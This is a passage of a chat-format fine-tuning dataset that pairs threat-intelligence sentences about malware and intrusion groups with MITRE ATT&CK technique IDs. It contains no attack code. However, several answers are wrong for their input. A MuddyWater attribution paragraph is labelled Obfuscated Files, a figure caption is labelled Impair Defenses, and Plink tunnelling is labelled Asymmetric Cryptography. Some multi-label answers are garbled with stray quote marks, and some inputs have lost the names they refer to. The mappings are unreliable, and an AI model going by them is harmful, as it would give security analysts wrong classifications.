                "content": "Diavol has encrypted files using an RSA key though the `CryptEncrypt` API and has appended filenames with \".lock64\"."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: SecureWorks)  China Chopper web shell — This web-based executable script communicates with a full-featured user interface to allow threat actors to transfer and create files, open a command terminal, and interact with database servers"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The function will then download an encrypted file containing the final payload used in the campaign. The file is encrypted with a custom XOR-based algorithm, with the key 0x0AE2. In the latest versions, the authors moved from encryption to using a base64-encoded ZIP file"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun has used HTTP and HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We refer to these attacks as MuddyWater due to the confusion in attributing these attacks. Although the activity was previously linked by others to the FIN7 threat actor group, our research suggests the activity is in fact espionage related and unlikely to be FIN7 related. The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. These attacks have also been tracked by several other researchers on Twitter and elsewhere. The activity has been consistent throughout 2017 and, based on our analysis, targets or is suspected to target, entities in the following countries"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Create processes Write responses from the control server to a file Send information for all drives Write data sent by the control server to a temporary file matching the file path pattern %temp%\\DWS00* Change the time of a file as specified by the control server  The malware changing the file time"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1074 - Data Staged', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal can obtain a list of running processes on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "lower disable security settings by changing Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can stage collected information including screen captures and logged keystrokes locally."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete captures screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork bypassed User Access Control (UAC)."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary has the capability to download files from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti malware handles outbound communications using multiple protocols including: ICMP, HTTP, as well as custom TCP and UDP protocols. Use of these protocols is thoroughly documented in the Novetta and Kaspersky reports"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of running services with the command \"tasklist /v\"."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team had gathered user, IP address, and server data related to RDP sessions on a compromised host. It has also accessed network diagram files useful for understanding how a host's network was configured."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell can upload and download files to and from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 6 Relational diagram of artifacts  We created a timeline of the activity based off the data we collected, and found that the attack dates were tightly clustered into two waves in mid- to late-October and in mid-November as we see in Figure 7 using the timestamps from Table 3"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. Another  malware sample also performs exfiltration over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the shellcode embedded within the malicious EPS is executed, the following three files are dropped:  %PROGRAMDATA%\\Microsoft\\DeviceSync\\VMwareCplLauncher.exe %PROGRAMDATA%\\Microsoft\\DeviceSync\\vmtools.dll %PROGRAMDATA%\\Microsoft\\DeviceSync\\MSBuild.exe  In the list of dropped files, VMwareCplLauncher.exe is a legitimate, signed VMware executable that serves to ultimately deliver the BADNEWS payload"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dust Storm has used Android backdoors capable of exfiltrating specific files directly from the infected devices."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 is typically executed via command line arguments via a hidden window.Windows SysInternals PsExec has been utilized for both persistence and execution purposes. Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities. "
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can store collected documents in a custom container after encrypting and compressing them using RC4 and WinRAR."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOMPROGO is capable of retrieving information about the infected system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is attack vector presents interesting problems, as blocking or restricting the use of WMIC may not be a feasible solution for some administrators"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has used VBS scripts and XLS macros for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After this data has been aggregated, it is uploaded to a hardcoded command and control (C2) server via HTTP. The data is embedded within the ‘Cookie’ HTTP header, as seen below"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can enumerate remote open SMB network shares using \"NetShareEnum()\"."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If Shamoon cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In what appears to be a first on the cyber-espionage scene, a nation-state-backed hacking group has used a Google Chrome extension to infect victims and steal passwords and cookies from their browsers"
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor has the ability to configure browser settings by modifying Registry entries under `HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer`."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary is capable of configuring itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts collected data using a single byte XOR key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used Angry IP Scanner to detect remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "down_new has the ability to list the directories on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to gather the system’s hostname and OS version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme can set itself to sleep before requesting a new command from C2."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group abuses common cloud services such as Dropbox, OneDrive, and Mega for C&C communications (receive commands and exfiltrate data)."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SodaMaster can identify the username on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has exfiltrated files stolen from local systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mori can communicate using HTTP over IPv4 or IPv6 depending on a flag set."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore has attempted to get users to execute a malicious .app file that looks like a Flash Player update."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig used the Plink utility and other tools to create tunnels to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ROKRAT samples used during the two \"Evil New Year\" and the \"North Korean Human Rights\" campaigns contained a reconnaissance phase. The malware uses the following registry key to get the machine type: HKLM\\System\\CurrentControlSet\\Services\\mssmbios\\Data\\SMBiosData. The \"System manufacturer\" value is used to identify the type of machine. The source code only considers the following machine types"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockerGoga has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Similar to the previous case, if Avast and aswrundll.exe are on the machine, Irdsnhrxxxfery98 will be injected into that process instead of regsvr32.exe.   Irdsnhrxxxfery64 injecting lrdsnhrxxfery98"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has sent internal spearphishing emails for lateral movement after stealing victim information."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used RDP for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The primary objective of the HermeticWiper is to destroy the master boot record (MBR) of a system, shredding data and rendering the system unusable"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has run a plug-in on a victim to spread through the local network by using  and accessing admin shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used multiple backdoors which communicate with a C2 server via email attachments."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can collect data from user directories."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During FunnyDream, the threat actors used 7zr.exe to add collected files to an archive."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the scanning target is an IP address, Xbash will try to scan many TCP or UDP ports. Here are part of services they’re probing and the ports used"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner can automatically launch a Linux virtual machine as a service at startup if the AutoStart option is enabled in the VBoxVmService configuration file."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download and launch additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MEGASync is the leading way for LockBit 2.0 affiliates to exfiltrate data from clients with it being occasionally replaced by RClone."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Distributing the ransomware using spear-phishing and weaponized documents - Bat-files downloading payloads from Pastebin and inject them into a process on the operating system - Compromising RDP and usage of script files and password cracking tools to distribute over the victim’s network - Compromise of Managed Service Providers and usage of their distribution software to spread the ransomware"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT shellcode decrypts and decompresses its RC4-encrypted payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RAT is able to list processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sent malicious Word OLE compound documents to victims."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has searched for private keys."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can use \"icacls /reset\" and \"takeown /F\" to reset a targeted executable's permissions and then take ownership."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The verb get can be used in a myriad of ways to retrieve information for a machine, however in this case os get /format: is being abused to download payloads from non-local resources with .xsl extensions"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may have used the  malware to move onto air-gapped networks.  targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In total, 29 unique CARROTBAT samples have been identified to date, containing a total of 12 confirmed unique decoy documents"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike appears to be one of BRONZE PRESIDENT's preferred remote access tools. During one intrusion, the threat actors installed it on over 70% of accessible hosts. The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable. BRONZE PRESIDENT installs PlugX using DLL side-loading. In June and August 2019, BRONZE PRESIDENT delivered PlugX via government and law enforcement-themed phishing lures. RCSession — This basic RAT is installed via DLL side-loading, and CTU researchers observed BRONZE PRESIDENT installing it on multiple hosts during intrusions. RCSession was extracted from a file called English.rtf and launched via a hollowed svchost.exe process. RCSession connects to its C2 server via a custom protocol, can remotely execute commands, and can launch additional tools. CTU researchers have no evidence of other threat actors using RCSession or of wide proliferation of the tool, suggesting it may be exclusively used by BRONZE PRESIDENT. Nbtscan being used via RCSession to scan an internal IP range"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can enumerate Azure AD users."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PyDCrypt, along with its functions, is written in Python."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attack Lifecycle  Initial Compromise APT40 has been observed leveraging a variety of techniques for initial compromise, including web server exploitation, phishing campaigns delivering publicly available and custom backdoors, and strategic web compromises"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can support RDP control."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
